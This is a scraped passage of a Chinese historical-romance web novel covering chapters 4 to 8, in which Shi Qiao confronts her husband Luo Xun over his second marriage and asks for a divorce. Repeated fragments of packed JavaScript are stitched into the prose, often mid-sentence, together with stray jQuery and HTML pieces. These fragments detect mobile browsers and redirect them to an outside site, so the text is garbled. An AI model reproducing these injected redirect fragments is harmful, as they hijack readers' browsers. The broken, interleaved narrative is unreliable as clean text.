素心笑着睨她一眼，“你想吃就直说，拐这么大弯儿作甚！” 小荷肉嘟嘟的小脸上尽是纠结，“羊肉馅的包子诶，很贵的！” 素心暗叹了口气，她哪里还记得，夫人在世时，哪怕是昂贵讲究的八珍包子、整只的烤全羊，也不是什么稀罕物。 夫人虽不爱奢靡，可她想培养姑娘的贵女风范，便在衣食住行上很是讲究，又请先生教姑娘读书写字，唯恐将来姑娘进京后被人小瞧了去。 夫人过世后，姑娘的饮食便简单了许多，银子都用来买地种粮食。尤其是嫁给姑爷后，更是缩衣紧食，将所有的银子都花在刀刃上，小荷跟着就没吃过什么好东西。 小荷人小胃口大，这一身肉全靠粗茶淡饭撑起来的，晚上睡觉时常梦见吃肉，被角都快被她嚼烂了。 素心心疼地揉了揉小荷的脑袋，“几个包子贵不到哪里去，反正姑娘也是要吃的。” 小荷眨巴着眼看向时乔，“姑娘，真的吗？” 时乔含笑点头，“我们下去吃，想吃多少吃多少。” 小荷兴奋地重重点头，“嗯！” 青石板街上覆着未扫的积雪，马车碾出蜿蜒的辙痕，早起的人踏雪而行，循着热腾腾的香气推开了熙和客栈的大门。 大厅里渐渐热闹起来，相熟的街坊喝着羊汤，说着闲话儿。 “听说了嘛，罗侍郎昨日娶平妻，乡下来的原配大闹喜堂，竟自请下堂……” “啧啧，她倒是有骨气。” “骨气顶什么用，一个弃妇，以后日子怕是难了。” 众人又唏嘘了一番，那人又说：“还有呢，靖国公昨夜也去罗府了，却不是去道喜的……将夏二姑娘的嫁妆翻了个底朝天，直到天大亮了，方抬着几个箱子走人。” “这么说来，罗大人昨夜没洞房？” “还洞房呢，没被抄家就不错了！” …… “活该！” 小荷竖着耳朵听完，心情大好地喊：“店家，再来一个羊肉包子！” 一个包子，硬是喊出了一笼包子的气势。 素心心中起了一丝希冀，往时乔身边靠了靠，“姑娘，你说有没有可能，靖国公查到了什么，姑爷的这门亲事就不作数了？” 时乔神色淡漠，“都不重要了。” 她和罗珣，再无可能。 在罗珣决定娶夏如蔷为平妻的那一刻，他们之间就结束了。 回到楼上客房，时乔让素心拿来嫁妆单子和账本。 时乔的嫁妆颇为丰厚，是他们祖孙三代挣来的家业。 时家以酒传家，酒坊遍布朔北，良田无数，是当地有名的富户。外祖父膝下只母亲这么一个女儿，临死前唯恐她一个弱女子护不住这份身家，便替她精挑细选了个秀才夫君。文人重名声，将来入仕更是如此，是以不必担心女儿受委屈。 外祖父只算对了一半，家财虽保住了，他的女儿却受了一辈子的委屈，不得善终。母亲过世后，十二岁的她接管家业后，开始大量购置田地，佃出去收租。田地上的产出，皆用来供养朔北军。 是以在嫁妆单子上，她最贵重的嫁妆有三样：六座酒坊，十几间铺子，数百顷良田，十万两压箱银。 罗珣任庆原府知府三年，垦荒修渠，推广种植，处处要用银子，可府库税银有限，朝廷又迟迟不肯给拨银，时乔便拿嫁妆银子填，十万两银子很快便花完了。就连她酒坊的收益，也花了个精光。 母亲生前曾告诫她，不管她将来嫁给谁，都不要将自己的未来寄希望于男人的良心，免得落个人财两空的下场。 可她彼时以为，罗珣是君子，父亲当年做的那等事，他不会去做，也不屑于做。 但事实证明，她错了。 母亲当年走错的路，她终究又走了一遍。 母亲九泉之下，应是对她失望了吧。 时乔缓缓合上嫁妆册子，打开账本，拨动算盘，开始计算他们的过往。 - 罗府。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519627|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 锦园。 三进的院子里一片狼藉，四处散乱着被打开的箱笼，绫罗绸缎、杯盏瓷器、书画书籍散落一地。 正房里更是乱，拔步床、梳妆台等一应物什都是陪嫁来的，被翻得乱七八糟，连交颈鸳鸯的喜被也被拆了，露出了里面的丝絮。 罗珣身着菘蓝直缀，长身玉立于廊下，周身清冷如覆霜雪，丫鬟仆妇们纷纷绕道而行。 一百二十抬嫁妆，虽说不少，可也不至于多到搜查一个晚上。要知道，靖国公查抄偌大的侯府，也不过用了半日功夫。 靖国公如此刻意针对他，是他没想到的。 这敌意从何而来，他思来想去，只想到一种可能：他赶在威远侯被论罪前，先一步救下时蔓，让靖国公不喜了。 他原以为靖国公会空手而归，却没想到，他们当真搜出不少侯府的东西。好在都是些珠宝首饰，否则，罗府恐怕是要万劫不复了。 “夫君。” 伴着温婉的声音，夏如蔷走到罗珣身边。 罗珣收敛思绪，转过身。 她换了身大红底白蝶穿花遍地金袄裙，鸦青发髻间斜簪一支羊脂玉兰钗，垂落的珍珠流苏摇曳生姿。 许是习惯了喊他夫君的人布衣荆钗，不施粉黛，看到她精致华美的妆扮，罗珣有一瞬的愣神。 直到夏如蔷帮他披上鹤氅，他方回应了她一声。 夏如蔷脸上有一丝歉疚，与他解释：“那些珠宝首饰，有大半是侯府的聘礼，成亲时又添作嫁妆带回了侯府。和离归家时，下人是按着嫁妆单子将东西带走的，我想着那些本该是给姐姐的，就带过来了，想着有机会还给他，却没想到会带来这样的麻烦……” 听着她的解释，罗珣却是心念一动。 那位裴二爷，想必很喜欢时乔吧？ 那些珠宝首饰，样样精美华贵，不乏昂贵的整套翡翠头面，圣上赏赐的东珠南珠，还有些似乎是从天南海北淘弄来的。 其中最特别的，是一支翡翠簪子，形似乔木，树冠丰茂，雕工却不算精良，一看就不是出自工匠之手。恐怕是裴二爷亲手雕刻的。 以战戈定国运，以白骨筑长城。 时乔说的那个人，可是裴二爷？ 乌云低沉，在罗珣眼底投上一层翳色。 5. 第 5 章 罗珣的沉默，让夏如蔷心底涌起一丝不安。 他心智超群，从来不是好糊弄之人。 她不由懊悔，当初离开侯府时就不该贪心，舍弃不下那些华贵之物，如今倒好，东西没了，还要引起罗珣的不悦。 她更担心的是，罗珣会因此而质疑她的品性。 正懊悔着，就听罗珣问：“裴二爷，是什么时候认识时乔的？” 夏如蔷一愣，他方才是在想这个吗？ 这种事多问几个人就能知道的，她也不敢乱编，“在雍王府的宴会上，那时姐姐刚进京不久。” “他们私下里可见过？” 夏如蔷摇头，“没听说，宴会之后没几日亲事就定下了，她大多数时候都在房里绣嫁妆。夫君问这些作甚？” 只见过一次，且还是在宴会上，两人显然没有私下里说话的机会，更没有“燃篝火”的机会。 那个人显然不是裴二爷。 那个人，说不是是时乔凭空编造出来的，为了气一气他。 罗珣回她句“随口问问”，便说去正院请安，走出庑廊，天地间银装素裹，亮堂了不少。 夏如蔷不确定他是想打探当年换亲之事，还是别的，见他不再问，神色也不似方才那般沉凝，暗暗松了口气。 到了正院，罗老夫人却不在上房。 最后在祠堂寻到了她，正跪在列祖列宗的牌位前请罪。 罗珣跪在她身边，沉声道：“错的是儿子，该向列祖列宗请罪的是儿子。” 罗老夫人四十多岁的年纪，仪态端庄，看着温和近人，可一双眼却隐含凌厉。 “你是错了。” “你第一错不该娶时乔，罗氏历任当家主母都是名门闺秀，她一个乡下丫头，不通诗礼，不懂中馈，如何担得起当家主母之责？ 你第二错不该娶平妻。罗氏祖规，四十无子方可纳妾。你才成亲三年，便等不得了？” 见罗珣张口欲辩驳，罗老夫人打断他，“你不必反驳，平妻那是好听的说法，说白了，后进门的就是妾！ 你第三错，你不该娶一个寡妇，还是时乔的妹妹，平白让全京城的人看了笑话！我罗氏一族哪怕是败落的时候，也不曾让人如此嘲笑过，现在，却成了街头巷尾茶余饭后的谈资！” 罗老夫人站起身，望着几案上一个个牌位，沉声道：“罗家祖上两任宰辅，先帝帝师，位列三公；你祖父官至户部尚书，却无辜被牵连，病死狱中；你父亲有经世之才，奈何短命……” 她略哽咽，低头看向跪在地上的儿子，失望道：“罗家沉寂了二十多年，如今光耀门楣指日可待，可你却为了一个女人，要将大好的前程给毁了！” 罗珣垂首沉默。 他承认，他此举任性了，可他不悔。 光复门楣是他的执念，如蔷亦是他的执念。 他冲着列祖列宗磕了三个头，沉声道：“母亲说的对，是儿子的错。” 罗老夫人冷冷看着他，“那你便跪满半个时辰，向列祖列宗请罪！” 言罢，拂袖出了祠堂。 祠堂外，夏如蔷跪在台阶下，正虔诚伏地磕头。 动作优雅而不失庄重，神色肃穆，一举一动尽显大家闺秀风范。 罗老夫人冷脸道：“你来作甚？” 夏如蔷长跪行礼，先喊了声母亲，“今日种种皆因儿媳而起，一切都是儿媳的错，求母亲莫要迁怒于夫君，伤了母子情分。母亲若怪罪，便怪罪儿媳吧，儿媳绝无怨言。” 一番话让罗老夫人面色稍霁。 不得不说，夏如蔷无论是礼仪规矩，还是言谈举止，比时乔强不是一星半点。 其实在三年前，她对夏如蔷这个未来儿媳是很满意的，知书达理，进退得宜，是罗家宗妇的理想人选。 奈何造化弄人，转了这么一大圈方进罗家门，早已物是人非。 虽说这不是夏如蔷的错，可娶个寡妇进门，还是克死过夫君婆母的，她心里着实过不去那道坎儿。 思及此，罗老夫人心又硬了起来，“你想跪便跪吧！” 越过她，出了院子。 夏如蔷长跪在那里，杏眸低敛掩下锋芒，脊背绷得笔直。 半个时辰后，她已摇摇欲坠，刺骨的寒气和疼痛从膝盖上传来，她却依然咬牙硬挺着。 罗珣出了祠堂，快步走过来扶她起来，“你不该跪。你没错。” “我们夫妻一体，夫君受罚，妾身自要共担。” 夏如蔷说着话，膝间尖锐的疼痛让她晃了晃，罗珣本已经松开手，又扶上她，最后干脆握着她的手，并肩出了祠堂的院子。 他的手温热有力，让夏如蔷的面颊染上了霞色。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519628|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在豆蔻之年少女怀春时，她见过他高中状元骑马游街，他面冠如玉、霁月清风，吹皱了一池春水。她彼时便觉得，他是世间最好的男儿，她要嫁，便嫁他。 她曾无数次幻想，他如此牵着她的手，与她并肩走上权力之巅，享受万众瞩目。她要将那些高高在上的贵女踩在脚下，看着她们对她卑躬屈膝。 只是罗珣太过清冷，万千芳华皆入不了他的眼，包括她。她参加了那么多他赴宴的宴会，弹了那么多琴，作了那么多诗，也不曾得他另眼相待。 没成想无心插柳柳成荫，梅林一场偶遇，不久之后，罗珣就向夏家提亲了。 可是，不久后她就发现，山外有山人外有人。 威远侯府裴二爷俊美无俦，文武双全，又似对她有意，一场宴会下来，便让她彻底沦陷。这些暂且不论，单论家世：裴二爷有个手握重兵权势煊赫的父亲，还有个做瑞王的表哥，一旦瑞王荣登大宝，即便裴二爷无心仕途，将来的权势也不是罗珣可企及的。 她心思刚起，侯府便登门提亲，那裴二爷看中的竟是她那乡下来的姐姐。 好在侯府只说求娶夏家大姑娘，父亲就干脆装糊涂，给她和时乔换了亲。 事后也好解释：裴二爷要求娶的是夏家大姑娘，在时乔进京前，大家不就称呼夏如蔷大姑娘吗？ 可谁能想到，那裴二爷掀开红盖头后，一双眼冷得能杀人。他冲出喜房，多少武艺高强的侍卫都拦不住。若不是侯爷和世子爷及时出现，合力将他制服绑了，他恐怕就冲去罗府抢人了。 成亲没多久，裴二爷在凉州那边的姨娘过世，他便扔下一封和离书，去了凉州，半年后，便战死沙场。她被扣上了克夫克婆母的帽子，即便侯府肯放心，放眼天下谁还敢娶？ 而罗珣却青云直上，短短三年便官居三品，得圣上重用。按父亲的说法，户部侍郎只是起步，假以时日，他就是大周第一权臣。 时乔一个乡下丫头，父亲接她进京不过是为堵言官之口，不拘鳏夫还是庶子，也不拘年岁人品，给她配个能助力父亲仕途的门第便是。却凑巧的，让她平白捡了大便宜。 好在一切皆成过往云烟，她重新回到罗珣身边，夺回了属于她的一切。无上的尊贵和荣耀，不过咫尺之遥。 现下她需要做的，就是让时乔离开，她独享这份尊荣。 6. 第 6 章 一直到了上房门口，罗珣的手方松开。 夏如蔷低眉顺目，给罗老夫人敬茶，奉上针线，罗老夫人给她一个玉镯，便让他们退下。 夏如蔷一愣。 按说她接下来该去外院议事厅认亲，给族内的长辈敬茶，受晚辈的礼，她已备好了见面礼。 罗珣也察觉不妥，问母亲：“认亲是安排在什么时候？” 罗老夫人冷声道：“时乔已经回京，认亲时她若不在场，算怎么回事？没有自家人还没认齐全，就去给旁人敬茶的道理。” 她淡扫了夏如蔷一眼，“时乔一日不回来，就一日不认亲。” 罗珣蹙眉，“母亲又何必如此。” “你们回吧。”罗老夫人下了逐客令，缓缓起身，径自去了里间。 离开正院，罗珣的脸色并不太好。 不认亲，就意味着如蔷得不到宗族的认可，在族中，只能算是个妾室。 可时乔若是回来，如蔷当众给敬了茶，就算行了妾室礼，一辈子在她面前抬不起头来。 母亲此举，分明是在帮时乔立威，借此定下时乔和如蔷的尊卑。 想起那年赏梅宴，梅林中，她踮着脚尖去够高处的一枝梅。尝试许久都不曾如愿，她却锲而不舍，不肯放弃。 他走过去帮她折下。 她转头看向他，澄净的眸子里有一瞬的怔愣，转而是惊喜，羞涩。 只是这些小女儿娇态稍纵即逝，很快便恢复了与她年龄不符的端庄稳重，福身道：“罗翰林有礼。” 他将梅枝递给她，问：“这些梅枝大同小异，你为何要为难自己，偏要选这枝？” 女孩接过梅枝谢过他，点点红梅映红了她粉白稚嫩的面庞。 “因为这枝在最高处。” 在那之前，他在宴会上见过她几回。旁人都以为他后来求娶她，是被她的才貌所吸引，却无人知晓，彼时让他心动的，是她端庄从容的外表下，那颗倔强自强的心。 平妻已是他能想到的最好解决之法，两人平起平坐，既对时乔有了交代，又不负如蔷。 若让如蔷居时乔之下，让她如何自处？ 回到锦园，罗珣依然沉眉不语，丫鬟摆了早膳，他食不知味，很快便放下了筷子。 夏如蔷知道他在忧心什么。 她和时乔之间，他难以抉择。 他不忍她受委屈，那她便让这委屈再深上几分。她的处境越卑微，他与时乔和离的可能性就越大。 罗珣行君子之道，不肯抛弃糟糠妻，不逼一逼怎么行呢？ 她素手执壶，为他斟茶，体贴道：“夫君不必介意，妾身是再嫁之身，又给府里带来这么多风雨，母亲有所微词在所难免，妾身不在意。夫君便依了母亲，去接姐姐回来吧。妾身熬了燕窝羹，并几样点心，夫君带去给姐姐吃。” 听他如此说，罗珣心中的烦闷又加重了几分，“你和时乔身份是一样的，你不必如此。” 夏如蔷却缓缓摇头，“如母亲所言，原配就是原配，族谱上名字有先后，我敬着她是应该的。” 说着话，就出去张罗食盒。 茶雾袅袅，萦绕在罗珣眉头。 他不知这三年如蔷到底经历了什么，让她变得这般委曲求全，小心翼翼地去守护这区区“平妻”之位。 一场阴差阳错，毁了她的骄傲。 他无法想象，在那段错乱的婚姻里，她是如何忍受那位裴二爷的荒唐的，成亲不足半年就先后“克死”裴二爷母子，她又是如何应付侯府的诘难和外面的流言蜚语的。 那场阴差阳错，若说最无辜的人是谁，恐怕就是她了。 夏如蔷提着食盒进来，叮嘱道：“夫君莫说是妾身做的，我怕姐姐不高兴……” 说到最后，她的声音有些小心翼翼，又带几分委屈。 罗珣不得不承认一个事实：只要时乔在，如蔷便要低人一等。 念头刚起，便立马被压了下去。 如蔷是他的执念，时乔亦是他的责任。 他不可能与时乔和离。 见罗珣换官服，夏如蔷不解。 “夫君有三日婚假，这才第二日，为何还要去衙门？” 罗珣沉声道：“大战之后，赈济灾民、安抚民心、恢复民生迫在眉睫，许多事耽搁不得。” “那也不差这一会儿，还是先接姐姐回来，免得拖得久了节外生枝。” 她清楚，若是拖得久了，一旦时乔想开了，消了气，事情就不好办了。 罗珣戴官帽的手一顿。 朔北各州府的粮食或被抢掠，或被烧毁，百姓食不果腹。虽说庆原府这个朔北粮仓保住了，可那些粮食终究支撑不了整个朔北数十万百姓太久。朝廷的救济粮若不及时调配过去，不知多少百姓怕要死在这个寒冬，甚至生出民乱。 她却如此轻飘飘一句，“不差这一会儿”？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519629|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 若是换做时乔，恐怕早就催着他去衙门了吧。 可转念一想，如蔷没有亲身经历战争的惨烈，不曾见过百姓的困苦，是以不能感同身受吧。 他又何必苛责于她。 “待午时我寻个空，便去寻她。” - 算盘响了一个上午，方将庆原府三年的账本算出总数。 十三万六千余两。 素心喃喃道：“知道花了不少，却没想到竟花了这么多。” 时乔沉默看着账本。 她这三年付出的，又何止这些。 小荷进来禀道：“姑娘，姑爷来了。” 庄子上早早没了长辈，最懂规矩礼仪的妈妈们也都没了，小荷自小没得过规矩教导。即便这几年吴妈妈教了一些，可她自由散漫惯了，学得并不好。 可在不苟言笑的罗珣面前，小荷却守规矩得很，毕竟是小孩子，对严肃的大人总是敬畏的。 时乔将一应账册收进匣子，方看向房门口。 罗珣已推门进来。 他对素心道：“你们先下去。” 素心看向时乔，见时乔点头，方领着小荷退出去，关上房门。 时乔不动声色地看着他走近，在她面前站定，与她之间隔着一张八仙桌。 不得不说，罗珣长得极好，清隽儒雅，风姿卓然，眉宇间透着清冷疏离，就如那立于雪山之巅的谪仙。绯色官袍穿在他身上，又让谪仙下凡尘，更添几分威严。 罗珣还是当年的如玉佳公子，甚至更多三分魅力，而她如今，连当年唯一拿得出手的“美则美矣”都没有了。 确实不般配了。 其实从一开始，他们就是不般配的。 时乔淡声道：“坐吧。” 罗珣将食盒放到地上，坐到她对面，却是许久没有说话。 他在打量时乔。 昨晚他没心思关注这些，此时细看之下，却觉心惊。 房间里燃着炭盆，颇为温暖，可她却穿着臃肿的厚袄子，手里还抱着一个暖手炉。袄子明明看着不大，穿在她身上却空荡荡的。那张曾惊艳众人的面庞，不知何时瘦得只有巴掌大，就似荼蘼绽放的海棠一夜凋零。 那双原本饱含秋水的眸子，此时已失了盈盈光彩，变得干涸，晦暗。 上月他离开庆原府时，她正卧床养伤，虽憔悴了些，精神却是好的。短短时日，她怎变成了这样？ 7. 第 7 章 罗珣心念一转，便明白过来。 她彼时刚刚受伤，本该卧床静养，哪里经得起舟车劳顿？ 如此想着，言语间便有了责备之意，“你伤口未愈，不该此时回京。” 时乔此时已不想告诉他，她若继续留在庆原府，便只有死路一条。罗珣离开后不久，她箭伤非但不见好转，反而日益恶化，大夫已无能为力，让她尽快回京寻个良医，莫耽误了。 亏她在送信给他时，还刻意隐瞒下实情，唯恐他会担心。如今想来，还真是自作多情呀。 时乔面无波澜，“大人是来兴师问罪的么？” 一声拒人于千里之外的“大人”，让罗珣皱起了眉。 “我今日来，是接你回府的。” 时乔没有作声，起身从炭盆上方取下温着的茶壶，执壶为他斟茶。 “是粗茶，大人别嫌弃。” 他握住茶盏，“时乔，你明知道，我从未嫌弃过粗茶淡饭。” “大人金尊玉贵，这等粗茶偶尔喝喝也就罢了，哪有一直喝的道理？” 时乔为自己斟上茶，缓缓啜了一口，“你如今升迁留京，庆原府的粗茶，庆原府的人，都该成为过去了。” 罗珣端起茶盏，仰头一饮而尽。 “时乔，我们好好谈一谈吧。” “好。” 时乔直截了当地问他：“你和夏如蔷当真有婚约？” 罗珣点头。 “当时我和如蔷已在议亲，六礼已过其五，将婚期定在半年后。可没想到裴二爷回京了，雍王府那场宴会之后，侯府便登门提亲。大家素日里都称如蔷为夏大姑娘，岳父大人只当他们求娶的是如蔷，不敢得罪侯府，无奈应下了这门亲事。” 她们的婚期为何定在半年后，时乔是知道的。因为有言官弹劾，说夏明举还有个长女尚未成亲，长幼有序，没有次女越过长女先出嫁的道理。夏明举这才推迟婚期，将她从乡下接回京议亲。 至于他所说的“不敢得罪侯府”，她可不信，他那“父亲嫡母”想必是不舍得将亲事给她，才将亲事换了的吧。 他们怕事情泄露，便说“你们姐妹同日出嫁，倒也不必太计较先后。侯府尊贵，便先让他们先迎亲吧。”最终瞒天过海，骗过了侯府。 传言得到罗珣亲口证实，时乔问出了自己最想不通也最不甘的问题。 “你既然志在夏如蔷，当年为何要娶我，为何要搭上我的一生，来成全你们？” 搭上她的一生…… 罗珣虽对时乔有亏欠，却并未觉得自己耽误了她的一生。他会对她的余生负责，让她在罗府安享岁月，给她应有的敬重。 只是此时，这种争辩毫无意义。 “岳父大人提出将你许配给我，如此对外就说，一直是你我在议亲，也好全了两府的名声。” 时乔：“你就同意了？” 罗珣默然。 对他来说，如果娶的人不是如蔷，娶谁都是一样的。 若他娶时乔，能保住如蔷最珍视的名声，能让她在侯府的日子顺遂一些，他愿意。 若她过得不好，那他便在强大之后抢回她。后来如蔷守寡，他也确实动了这个念头。 彼时并没意识到，会因此而伤害到另一个无辜的女子。 又或者在潜意识里，他觉得时乔会接受这种命运，毕竟她若不嫁他，嫁给旁人的结局并不会更好。 在他无尽的沉默中，时乔自嘲一笑。 她当年只当两人的亲事是父母之命媒妁之言，从未往别处多想过，还庆幸自己运气好，寻了个志同道合的佳婿。她从一开始，便是打算好好与他过一生的。 可原来他执意要娶她，甚至亲自见面相劝，竟仅仅是为全心上人的名声。 她唇边掠过一抹讥笑：“难为你如此煞费苦心，编出“为天地立心，为生民立命”的豪言壮志来，诓我应下这门亲事。” 罗珣：“你我夫妻三载，你当真认为，我说的那些话只是为了诓你？” 他为官数年，仰俯无愧于天地，哪怕他要夺妻，行事也从未与天理大义、与他读书入仕的初衷相悖。他原本就对瑞王玩弄权术颇为不齿，他原本就要扶持明君，造福天下。 雍王和瑞王是当今圣上最倚重的两位皇子，储君空悬，二王夺嫡多年，明争暗斗从未停歇过。 瑞王把持户部，拨给朔北军的粮草时常延误，且状况百出。而朔州军最依赖的朔北粮仓庆原府，历任知府皆是瑞王一派，连年报称庄稼欠收。雍王受制于粮草不继，在朔北苦苦支撑，时常遭圣上责难。他便向圣上请旨前往庆原府，并立下军令状，誓要帮雍王解决后顾之忧，重获圣心。 只是这些皇室秘辛和朝堂大事，他不能与时乔言明。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519630|186270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 况且即便说了，时乔定然也不会信。 他的辩白，让时乔觉得可笑：“我在昨日进京时还是信你的，可你回报我的又是什么？” 罗珣抿唇。 其实他想过要与时乔好好谈一谈的，可那时时乔刚受伤，她躺在病床上，笑着憧憬着未来。 “前有筹粮之功，后有守城之功，不知罗氏的门槛要高几寸，门楣光耀了几分？待我们回京时，母亲可会打开中门相迎？” 他在她床前坐了一夜，最终没有开口。 他想，进京后情形如何尚未可知，便先不提了吧。 可没想到，靖国公来势汹汹，进京不过一日，便让皇上对威远侯起了猜忌之心。他知道，他知道，夺回如蔷的时机已到，且事不宜迟。 时乔已经习惯了他的沉默，其实成亲三载，他除了与她商谈政务时侃侃而谈，其余时候多是沉默的。她甚至想不起来，两人在政务之外还有过什么交流。 “换亲之事，你是何时知道真相的？” 罗珣：“今秋进京考满述职，离京时遇到她昏厥在路上，却心灰意冷不肯就医，便送她回了夏府。听她丫鬟说起来方知，裴二爷当初求娶的是你，待她很不好，后来侯府更是将裴二爷的死怪罪到她头上，这些年，她受了不少磋磨。” 他有一句话没说，那丫鬟菡萏说，裴二爷看中的是时乔的美貌，嫌夏如蔷长得丑，便从外面带回一个美艳的风尘女子，夜夜笙歌。 时乔恍然想起，他回庆原府那日，神思恍惚，在她病床前坐了整整一夜。 她原以为他是在担心她的病情，还因此生出一些缱绻的情意来，原来，竟是在忧心他的心上人。 时乔目光倏然一沉，盯着他道：“你当时给我去信，说你在京中因事耽搁了，要推迟几日回庆原府，便是因着夏如蔷？” 罗珣眼中闪过一丝歉疚和懊悔，“是。” 如蔷当时分明心生死志，他实在放心不下，待她看过大夫，情况稍稳后才走的。却没想到，险些酿成大祸。 一股悲愤骤然涌上心头，狠狠冲击着时乔的胸膛。 她仰首，无声大笑。 那笑中藏苦，笑中含泪。 罗珣起身去握她的手，“时乔？” 时乔猛地甩开他的手，声嘶力竭地喊道：“我为了保住你罗氏一族，连命都不要了！” 8. 第 8 章 罗珣见惯了她沉静的样子，从未见过她情绪如此失控。 他不会哄人，时乔也从来不需要他来哄。 他俯下身，尽量让自己语气温和，“时乔，你别这样。你为我、为罗氏一族所做的，我感铭在心。” 时乔闭了闭眼，深吸一口气，让自己冷静下来。 她确实不该这样，在他面前暴露她的痛苦，暴露她的不甘，那她输得也太彻底了。 她讥讽一笑，眼中是森然冷意，“罗大人倒也不必感铭在心，这三年我所做的，不是为了你。你忘了，我也有心上人呐。” “时乔，莫要说气话。” 罗珣嘴上如此说着，心里却还是有几分不确定。 虽排除了裴二爷，可若有旁人，也未尝可知。 时乔轻笑，“这可不是气话。大人心思缜密，就没想到我为何这般不顾一切地为朔北军筹粮吗？你当真以为，我是为了助力你的仕途？” 罗珣不是没想过这个问题。 他和时乔刚成亲时，时乔便对筹粮之事分外用心，甚至比他更甚。他原以为她是嫁鸡随鸡，妇德使然。 可如今，却不得不重新思量了。 他突然想起一件事。 那日在朝堂上，他说起当年错嫁之事求圣上赐婚，下朝后，雍王便寻上了他。问他事情真假，在得到他确切的答案后，雍王的面色很是难看，问他要将时乔置于何地，言辞间对时乔多有维护。 他彼时只当雍王性情正直使然，毕竟时乔助他之事雍王多少知道一些，曾夸她是贤内助。 如今想来…… 雍王而立之年，俊朗不凡，疏阔豪爽，极易打动少女芳心。 罗珣眸色微沉，“那人是雍王？” 时乔失笑，没料到他会猜到雍王头上。 “雍王已有妻室，你觉得我会这么想不开？” 随即，她脸上露出一抹嘲讽，“噢，侧妃的位子倒还空着，我若与他心意相通，岂会放着好好的王爷侧妃不当，嫁给区区一个知府？” 面对她的嘲讽，罗珣并没有不悦，反而心头一松。 “不是为他，还能是谁？” 按她所说，那人大概率是朔北军战将。可据他所知，朔北军如今在职的战将年纪都颇大了，那些年轻的尉官，想来想去也没太出彩的，值得她这般念念不忘。 “他是谁不重要，你只需知道，” 时乔盯着他，一字一句道：“他以白骨筑就的长城，我要替他守护好。而你，就是我手中的剑。” 罗珣喝茶的动作一滞，缓缓抬起头。 “他战死了？” 时乔没作声，枯竭的眸中却闪过一丝伤痛。 这丝情绪，没有逃过罗珣的眼。 这一刻，他信了。 心口莫名揪了一下。 “你我不过因利而合，如今利尽则散，罗大人，和离吧。”时乔将毛笔递给他，“我来为大人研墨。” 罗珣没有接笔。 他眸似幽潭，沉沉看了她许久，转身离去。 素心和小荷进来。 小荷眼尖地看到地上的食盒，“姑爷的食盒忘记带走了！” 她打开，“咦，是燕窝和点心！还点着梅花，很精致呢！” 羹汤、点心上点缀梅花，是夏如蔷的习惯，时乔以前在夏府与她短暂相处过，知道她这个习惯。 她最爱梅花孤傲，不与群芳争妒。 时乔：“扔了喂狗。” 小荷一愣，“多可惜啊！” 时乔：“现在就去！” 素心见小荷还在愣着，“姑爷拿来的，你猜是谁做的？” 小荷顿时面露嫌弃，“是该扔了！” 拎着食盒跑出去，咚咚咚下了楼。 素心轻声问：“姑娘，我们该怎么办？” 时乔默然。 她最担心的事还是发生了。 罗珣一向理智，心智坚定，他决定的事，轻易不会改变。 他既然从一开始就没打算休妻，定是各种权衡利弊的结果。他的决定，不会因为她而改变。哪怕她这般激怒羞辱，也无济于事。 就像他从一开始就要夺回夏如蔷，哪怕她为他做了再多，他也不改初衷。 素心愤愤道：“这算什么，他娶了新人，还想把姑娘你困死在罗家不成？” “困死我，没那么容易。” 时乔走到窗前，推开窗。 客栈门前，罗珣已经上马车。 马车正要走时，罗珣喊停了马车，看向从门内跑出来的小荷。 小荷手中提着的红漆食盒，正是他带来的，想必以为他忘了，追来还给他的吧。 实则他没忘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 